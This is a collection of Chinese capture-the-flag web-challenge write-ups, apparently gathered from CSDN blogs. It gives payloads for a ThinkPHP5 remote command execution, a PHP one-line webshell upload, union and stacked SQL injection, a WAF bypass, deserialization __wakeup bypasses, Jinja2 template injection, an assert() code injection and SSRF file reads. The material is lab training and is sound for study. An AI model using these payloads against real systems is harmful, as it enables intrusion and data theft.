1.baby_web


思考它的题目描述:想想初始页面是哪个
然后就可以联想到用burp suite抓包然后修改url把1.php去掉就是初始页面
然后发送到repeater选择send然后在响应头里面可以找到flag

2.Training-WWW-Robots

从标题即可看出就是考的robots协议,一般在url后面添加上robots.txt即可查看相关信息
然后出现一个不允许爬取的路径,所以我们就把这个路径添加在url后面即可出现flag

3.php_rce(thinkphp5 远程命令执行漏洞)

thinkphp5 漏洞利用(具体自行百度)

贴出payload:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat%20../../../flag");%27

4.Web_php_include(php://伪协议 + strstr()函数的绕过)

打开有一段php代码,考点php://伪协议 + strstr()函数的绕过

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

用 大小写 绕过 strstr()函数

php://input 是个可以访问请求的原始数据的只读流,可以读取到来自POST的原始数据。

PHP://input



————————————————
版权声明:本文为CSDN博主「Captain Hammer」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/vhkjhwbs/article/details/101448932

5.ics-06

打开题发现提示是有一处留下了入侵者的痕迹。打开地址发现只有一个页面可以打开然后发现只有一个模块可以打开,看大佬的博客然后发现是爆破id值最后发现id=2333最后得出

答案是:cyberpeace{38d30922c64ee626a1ca837e0e5ff3ab}

6.warmup

首先查看源码发现有一个被注释的地方是一个php文件

那么就打开source.php文件发现以下source.php中的代码,经测试,这是index.php的源代码

hint.php是什么看一下原来flag再ffffllllaaaagggg中

代码分析

整体利用的漏洞就是代码最后的include函数,利用文件包含漏洞
因此,最后的if条件语句是关键,即需要满足if(true && true && true),才会执行include函数,否则输出滑稽图。

! empty($_REQUEST['file']满足true简单
is_string($_REQUEST['file']满足true简单
emmm::checkFile($_REQUEST['file']满足true,需要执行emmm类中的checkFile函数,使得该函数最终返回true才可以

整体细节详解(checkFile函数的目标就是返回true):


疑惑:为什么urldecode没有用到?有些wp用到了,但这也是多此一举了,最后目标其实是一样的,checkFile汉纳树返回true嘛
例如用到urldecode的payload:
http://111.198.29.45:56708/index.php?file=source.php%253f../../../../../ffffllllaaaagggg
执行流程:

第1个if返回false
第2个if返回false
page=source.php3iffalseurldecode_page=source.php%3f../../../../../ffffllllaaaagggg 第3个if返回false urldecode执行后,_page=source.php?../../../../../ffffllllaaaagggg
执行mb_substr后$_page=source.php
return true
下面核心代码执行同理
最后include(source.php%253f../../../../../ffffllllaaaagggg)
构建payload

/source.php?file=source.php?../../../../../../ffffllllaaaagggg
/source.php?file=hint.php?../../../../../ffffllllaaaagggg


————————————————
版权声明:本文为CSDN博主「1stPeak」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_41617034/article/details/104695005

7.NewsCenter

首先做这道题如果你有phpstudy的话得先开启,不然就不能做了
点开发现是搜新闻所以就联想到了sql注入
所以就先试试到底是什么类型的sql注入,构建payload

试试数字型注入
and 1=1 与 and 1=2没有区别
所以就试试字符型注入
' and 1=1# 与 ' and 1=2#有区别则说明是字符型注入

所以就构建一系列的语句来查询flag

' and 1=1 order by 1,2,3,4#     可以得出有几个字段最后发现是三个,接下来就是查看会显的是哪几个
' and 1=2 union select 1,2,3#       可以得出会显的是2,3所以接下来就让查询的数据让在2,3位出现,先查数据库名字
' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#   出现news,secret_table,然后就想到flag应该在secret_table中,接着查询列名
' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#       出现id,fl4g,继续查询fl4g
' and 1=2 union select 1,2,group_concat(fl4g) from secret_table#最后得出答案

8.NaNNaNNaNNaN-Batman

知识点

html乱码处理
基础js代码
eval函数,这是执行函数;这里执行了_变量中的内容也就是’'中的内容,但是,要注意的是,它并没有执行$()函数,仅仅执行了字符串而已(从而导致乱码),因而页面html页面没有任何显示,只显示了input标签的内容,但是我们想让源代码正常显示出来,不进行执行,那么,我们就用到了alert弹窗,将乱码的$()函数源码完整显示出来

wp

下载附件以后用文本打开,发现是js乱码:

修改后缀,用html打开,发现有提交框,但是源代码仍然是乱码

将eval函数改为alert

弹窗看到源代码

    即:

function $(){
var e=document.getElementById("c").value;
if(e.length==16)//构造长度为16
if(e.match(/^be0f23/)!=null)//开头匹配到be0f23
if(e.match(/233ac/)!=null)//e中有233ac
if(e.match(/e98aa$/)!=null)//结尾匹配到e98aa
if(e.match(/c7be9/)!=null){//e中有c7be9
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)}
}
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _

给的数正好可构造:e=be0f233ac7be98aa
把alert改回eval,在提交框中输入,即可得到

flag:flag{it’s_a_h0le_in_0ne}

————————————————
版权声明:本文为CSDN博主「vircorns」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_43476037/article/details/102783724

9.PHP2

进入后神门也没有查看源代码也没

根据提示我们进行后台扫描发现phps(这里phps是我自己加入字典里的,记住就好,主要是告诉大家一个方法)

发现源代码;

查看源代码:

<?php
if("admin"===$_GET[id]) {			
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

分析:
第一步,要使得"admin"===$_GET[id]不成立
我们可以对admin进行url编码,当然也可以对其中一个字母编码我们这里对a进行编码:%61dmin

第一次实际比较if("admin"==="%61dmin") 不成立

第二步,经过

G E T [ i d ] = u r l d e c o d e ( _GET[id] = urldecode( G​ET[id]=urldecode(_GET[id]);,使得$_GET[id] == "admin"成立。

经过urldecode解码后变成admin

第二次实际比较if("admin" == "admin"); 成立

**注意:**当传入参数id时,浏览器在后面会对非ASCII码的字符进行一次urlencode编码,运行时会自动进行一次urldecode

因为我们在url连接里直接运行,浏览器会进行一次url解码,所以我们还要进行一次url编码,就是对admin进行两次编码再运行

urldecode(%2561)=%61  
urldecode(%61)=a

payload:

?id=%2561dmin       (是php页面不是phps页面)

————————————————
版权声明:本文为CSDN博主「Mr H」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Mr_helloword/article/details/107930274

10.unserialize3

此题考核的是反序列化知识
对象序列化

o:7:"student":3:{s:4:"name";s:4:"haha";s:3:"age";i:3;s:5:"hobby";s:4:"play";}

O代表object(若是A,则代表数组)
7代表对象名字占7个字符
3 代表三个参数
s -> string i -> int

serialize 序列化
unserialize 反序列化

补充知识

__sleep() 和 __wakeup():

__sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。

与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。

__serialize() 和 __unserialize():

serialize() 函数会检查类中是否存在一个魔术方法 __serialize()。如果存在,该方法将在任何序列化之前优先执行。它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回,如果没有返回数组,将会抛出一个 TypeError 错误。

__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当一个对象被当作一个字符串使用

__sleep() 在对象在被序列化之前运行

__wakeup()将在序列化之后立即被调用

解题思路:
所以这里就应该__wakeup()绕过
反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。

影响版本:

PHP before 5.6.25
7.x before 7.0.10

只有xctf类

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup
方法,预先准备对象需要的资源。

故需绕过__wakeup()

利用漏洞绕过

————————————————
版权声明:本文为CSDN博主「花开的时候吵到你了吗?」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_53755216/article/details/114895761

11.upload1

此题考的是一句话木马直接上传一个包含php的jpg然后用蚁剑进行连接然后查看文件目录下的flag
构建一句话木马a.txt然后就改为a.jpg

<?php eval($_POST[a]);?>

然后用burp suite上传的时候修改filename="a.php"

成功页面

然后就用蚁剑进行连接

然后在文件下面找关于flag的信息

答案是:

cyberpeace{d28b7f9fab30702668f768bb72ca4744}

12Web_python_template_injection

见python模板注入

13.Web_php_unserialize

首先一看题目就知道考查的又是PHP代码审计中的反序列化问题。

首先看代码,可以看到,如果从上部分来看,这就是我们的序列化函数部分,而下面是输出的部分。同时又可以在下半部分的if中看到一个$_GET(var)这里就是一个接口。那么既然是序列化的题,我们要先试试到底能序列化出来什么东西,完了看了一下主要是两个点:
1.preg_match('/[oc]:\d+:/i',$var)的绕过
2.unserialize时__wakeup的绕过
这里给出脚本,没有什么难点,就是两个小技巧:

<?php 
class Demo { 
private $file = 'index.php';
public function __construct($file) { 
$this->file = $file; 
}
function __destruct() { 
echo @highlight_file($this->file, true); 
}
function __wakeup() { 
if ($this->file != 'index.php') { 
//the secret is in the fl4g.php
$this->file = 'index.php'; 
} 
} 
}
$A = new Demo('fl4g.php');
$C = serialize($A);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
$C = str_replace(':1:', ':2:',$C);//绕过wakeup
var_dump($C);
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($C));
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>

然后构建payload:
index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
然后即可出现答案

14.supersqli

方法一:

1.输入1' 发现不回显,然后1'# 显示正常,应该是存在sql注入了

2.order by 2的时候是正常回显了,order by 3就出错了,只有2个字段,这时候用union select进行联合查询,发现关键字被正则过滤

3.这里考虑的是堆叠注入

-1';show tables #


4.查看字段,

-1';show columns from `1919810931114514` #        (字符串为表名操作时要加反引号)

-1';show columns from `words` #



5.查看值,需要绕过select的限制,我们可以使用预编译的方式

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下:

-1';

set @sql = CONCAT('se','lect * from `1919810931114514`;');

prepare stmt from @sql;

EXECUTE stmt; #

6
6.这里用strstr函数过滤了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。

-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

7

方法二:

根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id

这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag
1.由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:

select * from words where id = '';

2.我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。

修改表名和列名的语法如下:

修改表名(将表名user改为users)alter table user rename to users;

修改列名(将字段名username改为name)alter table users change uesrname name varchar(30);

3.最终payload如下:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分开来如下:

1';

alter table words rename to words1;

alter table `1919810931114514` rename to words;

alter table words change flag id varchar(50);

#

4.然后使用1' or 1=1#即可查询出flag

方法三:

使用handler查询,payload如下:

-1';handler `1919810931114514` open;handler `1919810931114514` read first;#

15.easytornado

题目分析

这是一道2018年护网杯的题目

/flag.txt
/welcome.txt
/hints.txt

一共有3个文件。

/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))

进入第一个文件flag.txt,发现好像提示文件名为/fllllllllllag,

进入第二个文件welcome.txt,发现提示为render,render({options})去向模板中渲染数据, 可以把视图响应给客户端,猜测存在模板注入。

进入第三个文件hints.txt,发现提示md5(cookie_secret + md5(filename)),即先将filenamemd5加密,再将cookie_secret与md5加密后的filename进行md5加密,目前我们需要知道的是filename和cookie_secret,猜测文件名为/fllllllllllag,也就是说,只要知道cookie_secret就行了。

观察查看文件时使用的url:

http://111.198.29.45:56630/file?filename=/hints.txt&filehash=b10fbfd1f38e8dd058abe90e0df3db8d

猜测md5(cookie_secret + md5(filename))的结果就是访问文件时所需要的filehash。

尝试访问/fllllllllllag,发现跳转到错误页面

页面中存在msg,尝试:

证实存在模板注入漏洞
解题过程

查阅资料,发现 secure cookie 是Tornado 用于保护cookies安全的一种措施。

cookie_secret保存在settings中

发现self.application.settings有一个别名

handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。

可以构造payload获取cookie_secret

payload:error?msg={{handler.settings}}


获得cookie_secret,编写脚本,计算md5(cookie_secret + md5(filename))

import hashlib

filename = '/fllllllllllllag'
cookie_secret ="4e3efacf-c763-405d-8ebb-13214cc7a7fc"

def getvalue(string):
md5 = hashlib.md5()
md5.update(string.encode('utf-8'))
return md5.hexdigest()

def merge():
print(getvalue(cookie_secret + getvalue(filename)))

merge()

结果为:5eac87b4f0ccf9fc99e86cb93fe8736f

答案是:
flag{3f39aea39db345769397ae895edb9c70}

Easy Calc

打开此题发现就是一个计算的输入框,所以就查看源码可以看到提示:
<!--I've set up WAF to ensure security.-->,提示我们这个网站是有WAF的。并且通过ajax的请求地址能看到应该还是存在一个calc.php的页面的,访问一下。

解读一下大概的内容。搜先需要我们输入一个参数名为num的GET变量。如果没有的话就直接显示calc.php的内容。也就是我们现在的状态。如果有输入参数num的话,就会拿输入的内容和设定的黑名单比较,当通过黑名单后直接就拿输入的内容执行。拿很明显这道题就算要绕过WAF已经黑名单去执行命令。

PHP需要将所有URL、请求体参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)


可以看到上面两次尝试,一次被WAF拦截了,另外一次则成功了。两次输入的内容如下:
第一次:?num=phpinfo()
第二次:?%20num=phpinfo()
区别在与第二次在参数名前面加了空字符。参考上面说的PHP字符串解析特性说的第一点,PHP在解析时会删除空字符。
WAF接受到的是? num=phpinfo(),解析出来参数名为 num,没有把空格删除,没有触发的WAF的规则。
PHP接受到的同样? num=phpinfo(),但解析出来的参数名是num,把空格删除了所以可以在后台顺利拿到参数,执行成功。

    成功绕过WAF后接下来就是构造命令绕过黑名单并顺利读取到flag。可能要到的几个函数:

打印函数:
var_dump(object)
print_r(object)
目录读取函数:
scandir(directory,sorting_order,context);
文件读取函数:
readfile(filename,include_path,context)
file_get_contents(path,include_path,context,start,max_length)
字符转换函数:
chr(ascii)
ord(string)
base_convert(number,frombase,tobase);

现在目标就是拼接除payloadscandir(/)来搜索目录。首先因为/在黑名单中,所以需要用其他方式去得出,可以使用chr(47)来表示。这样我们第一个payload就出了? num=var_dump(scandir(chr(47)))。var_dump只是打印函数,也可以换成print_r(),? num=print_r(scandir(chr(47)))。如果scandir这个词也被过滤的话,还可以使用base_convert()来拼接。
如? num=print_r(base_convert(61693386291,10,36)(chr(47)))

可以看到输出的目录列表中包含f1agg这个文件。那接下来需要构造的payload就是readfile(/f1agg)。按照之前的办法构造即可:
? num=readfile(chr(47).f1agg)
? num=file_get_contents(chr(47).f1agg)
? num=base_convert(2146934604002,10,36)(chr(47).f1agg)

————————————————
版权声明:本文为CSDN博主「 晓德」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_42271850/article/details/105027498

[极客大挑战 2019]PHP

说到文件备份,首先把网站的目录给爆破出来,使用dirsearch
dirsearch

一款基于python3的目录爆破工具
下载地址

https://github.com/maurosoria/dirsearch
使用

-u 指定url

-e 指定网站语言

-w 可以加上自己的字典(带上路径)

-r 递归跑(查到一个目录后,在目录后在重复跑,很慢,不建议用)

进入dirsearch目录后

执行./dirsearch.py -u 127.0.0.1 -e php类似的目录,这里我们使用

./dirsearch.py -u http://71f04e34-1537-41f0-8c4f-e3de12f432b9.node3.buuoj.cn -e php


里面文件是真的多,不过我只要备份的文件

在网址后面直接加上www.zip,下载到本地解压查看,发现了这么一些文件

image-20200502233429323

打开index.php文

在里面有一段这样的话,里面加载了一个class.php文件,然后采用get传递一个select参数,随后将之反序列化

打开class.php

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();

        
}
}
}
?>
根据代码的意思可以知道,如果password=100,username=admin,在执行__destruct()的时候可以获得flag,所以我们需要达成这些要求

构造序列化

<?php

class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));

?>

保存文件执行一次

得到的序列化为,建议手动去打一遍

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

到了这一步,问题就来了,在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup(),而去执行__destruct
跳过__wakeup()

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行

因此我们将序列化这样设置

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

不过还是没有结束,因为这个声明变量是private

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度

我们再次改造一下序列化

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

测试

使用get请求把我们准备好的序列化当作select的参数传递过去

http://c7c61c82-0812-45e5-a51a-0b8c123f19ad.node3.buuoj.cn/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

前面网址记得换成自己的就行

shrine

1.SSTI模板注入:

模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程

服务端把用户输入的内容渲染成模板就可能造成SSTI(Server-Side Template Injection)

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig

模板引擎

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。与此同时,它也扩展了黑客的攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。

模板渲染

首先 模板渲染分解为前端渲染和后端渲染,还有浏览器渲染。

模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

服务端模板注入

服务器执行了我们传过去的数据。每当服务器用模板引擎解析用户的输入时,这类问题都有可能发生。除了常规的输入外,攻击者还可以通过 LFI(文件包含)触发它。模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎解析。

这里模板注入前加“服务端”,这是为了和 jQuery,KnockoutJS 产生的客户端模板注入区别开来。通常的来讲,前者甚至可以让攻击者执行任意代码,而后者只能 XSS。

模板引擎注入

一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig,模板注入是一种注入攻击,可以产生一些特别有趣的影响。对于AngularJS的情况,这可能意味着XSS,并且在服务器端注入的情况下可能意味着远程代码执行。重点来了,不同引擎有不同的测试以及注入方式!

flask/jinja2模板注入

PHP/模版引擎Twig注入

tplmap

利用tplmap这个工具进行检测是否有模板注入漏洞,用法有点像sqlmap,都是基于python的。

解题

模板渲染接受的参数需要用两个大括号括起来{{}}模板注入也在大括号里构造
题目源码:

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)

首先在shrine路径下测试ssti能正常执行

/shrine/{{ 2+2 }}

接着分析源码

app.config['FLAG'] = os.environ.pop('FLAG')

注册了一个名为FLAG的config,猜测这就是flag,如果没有过滤可以直接{{config}}即可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号

return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

上面这行代码把黑名单的东西遍历并设为空,例如:

/shrine/{{config}}

不过python还有一些内置函数,比如url_for和get_flashed_messages

/shrine/{{url_for.__globals__}}


看到current_app意思应该是当前app,那我们就当前app下的config:

/shrine/{{url_for.__globals__['current_app'].config}}


get_flashed_messages

返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

同理

/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

防御
防御对于不同的模板引擎,防御方案也不相同。但做好对用户输入的清理/过滤,将能大大的降低此类问题带来的安全威胁。
另一个选择是创建一个安全加固/沙箱环境,禁用或删除潜在的危险指令。

为了防止此类漏洞,你应该像使用eval()函数一样处理字符串加载功能。尽可能加载静态模板文件。

注意:我们已经确定此功能类似于require()函数调用。因此,你也应该防止本地文件包含(LFI)漏洞。不要允许用户控制此类文件或其内容的路径。

另外,无论在何时,如果需要将动态数据传递给模板,不要直接在模板文件中执行,你可以使用模板引擎的内置功能来扩展表达式,实现同样的效果。

mfw

题目描述:

点开每个页面发现啥也没有,所以就查看源码发现就有一句话

解题思路:
利用.git源码泄漏漏洞,使用githack(GitHack.py http://www.example.com/.git/)得到网站源码
注意:Githack要用python2来运行
观察上图,我们可以获得两个比较重要的信息
1.该网站使用git托管源代码,以及用PHP编写
2.有一个flag文件(猜测后缀为.php)

怀疑存在.git源码泄露,于是尝试访问或者是dirsearch扫描目录

利用git hack下载源码,详细代码自己发现获得一下的信息

1.关键的代码
2.template目录下存在flag.php文件(你可以尝试cat一下)

<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";//用于拼接形成目录路径

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

发现一个assert()函数,想到可以是任意代码执行漏洞,而且对于尝试$page没有任何的控制直接拼接首先我们确定的最后想要的肯定是利用assert()函数执行cat./template/flag.php获得flag.那肯定要破坏原来的assert的结构才能,使得我们的目标才能达成

assert("strpos('$file','..') === false")
assert("file_exists('$file')")

那么我们就尝试构造

?page=abc') or system("cat templates/flag.php");//    这里建议使用单引号便于后期区分

传入后就变成

assert("strpos('/template/?page=abc') or system("cat templates/flag.php");//.php"

注意//还是作为$file还是作为字符串的注意区分
替换

assert("strpos('/template/?page=abc') or system("cat templates/flag.php");//.php', '..') === false")        由于strpos函数报错,因此运行我们构造的语句or后面的语句

放回页面为空,不要慌,查看源码你就会发现flag

————————————————
版权声明:本文为CSDN博主「网安小小白」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_44800419/article/details/107780429

web2

此题考查的是对于给出一串代码你能看懂并且能把他逆向出来

此题目已经给出解决方法就是逆向加密

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
$_o=strrev($str);
// echo $_o;
    
for($_0=0;$_0<strlen($_o);$_0++){
   
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;   
} 
return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?> 

strrev() 函数:字符串逆置,
substr() 函数返回字符串的一部分。
substr(string,start,length) 如果 start 参数是负数且 length 小于或等于 start,则 length 为 0
base64_encode() 函数 base64加密
base64_decode() 函数 base64解密
str_rot13() 函数 对字符串执行 ROT13 编码,如果再次进行编码就会回到原来的形式。
ord() 函数是 chr() 函数(对于8位的ASCII字符串)或 unichr() 函数(对于Unicode对象)的配对函数,它以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值,或者 Unicode 数值

解释代码:
先时将flag字符串逆序,然后每一个ascii码数值+1,然后base64加密,然后逆序,然后再rot13加密

得到加密的密文:a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws

然后我们按照人家的加密思想逆运算一下就出来了flag
<?php

$_="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$a=base64_decode(strrev(str_rot13($_)));    此时先将密文进行rot13编码返回到原来的形态,然后逆置,然后进行base64解码
for($i=0;$i<strlen($a);$i++){
    
$_c=substr($a,$i,1);    然后取每一位进行acii码数值-1最后返回即可得到flag
$__=ord($_c)-1;
$_c=chr($__);
$f=$f.$_c;   
}
echo(strrev($f)); 
?> 

[网鼎杯 2018]Fakebook

1.打开网站,就两个功能点

2.先打开join看一下,注册页面,随便输入,注册一下:

3.发现登陆进来了:(这里有个坑,注册完了之后就不能回退,去测试之前的login页面了,不过可以直接输入login.php回去测试)

4.发现dawn是个url,点击看一下:(这里我也傻了,我一开始傻里傻气的在username插了个xss,结果没看到这个超链接,在源代码里面发现了之后打开一直转圈圈)

5.看到url,这里是有注入的,跑一下。(这里过滤了union select,我们用union all select 就可以绕过)。

6.刚开始跑一脸懵逼,这不就是我们的注册信息吗?跑到data列的时候发现了序列化后的值:

7.那就要考序列化了。一般不会让我们自己猜,肯定会给源码让我们构造的。线程开1跑dirsearch也会出现429,用自己整理过的御剑跑线程1,发现没跑出来= =。怀疑人生的时候看了wp,好吧,字典拉胯了。

8.代码审计环节:

(1)一开始先对几个参数进行初始化:

(2)重点是这里,查了些资料:

【*】curl_init : 初始化一个cURL会话,供curl_setopt(), curl_exec()和curl_close() 函数使用。

【*】curl_setopt : 请求一个url。
其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。

【*】CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。

【*】curl_exec,成功时返回 TRUE, 或者在失败时返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回 FALSE 。

【*】CURLINFO_HTTP_CODE :最后一个收到的HTTP代码。
curl_getinfo:以字符串形式返回它的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码。

如果状态码不是404,就返回exec的结果。

(3)再来看看get函数在哪里调用:

这里就清楚了,传的参数是blog。

9.差不多知道咋回事了,就是反序列化+ssrf。

我们注册后,把我们的信息序列化一下,然后存进data。在user界面,取出blog,获取资源。

两种思路吧?要不注册界面去设置blog,要不用注入设置blog,那肯定是注入简单些。
因为列名里面没有blog,所以我们要设置的点就是data那里了。

10.然后懵逼的时候又到了,我要去请求数据了,但是我请求个啥?flag在哪儿= =我去把所有的php文件都尝试了一遍,没发现啥有用的东西:

(路径是之前注入的时候报错爆出来的,序列化值也不用自己生成,之前注入出来了,改长度和值就行)

payload:

?no=-1 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:27:"file:///var/www/html/db.php";}'

11.无奈还是看了WP,说是扫出来发现有个flag.php。再说一遍,我的字典好拉胯。
payload:

/view.php?no=-1 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

————————————————
版权声明:本文为CSDN博主「H9_dawn」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_43622442/article/details/1056331

攻防世界web之ics-05

全部点击一遍,只有这个可以有其他界面

题目描述是 “其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统”

在后面添加login.php 无果,御剑扫描也无结果,源码也找不到其他东西

再次点击上面的“云平台设备维护中心”,URL栏有参数?page=index 存在get传值

page的参数联想到可能存在文件包含漏洞

引用上面的文章内容

LFI漏洞的黑盒判断方法:
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞

输入数字没啥用,尝试读取index.php的源码,采用php伪协议

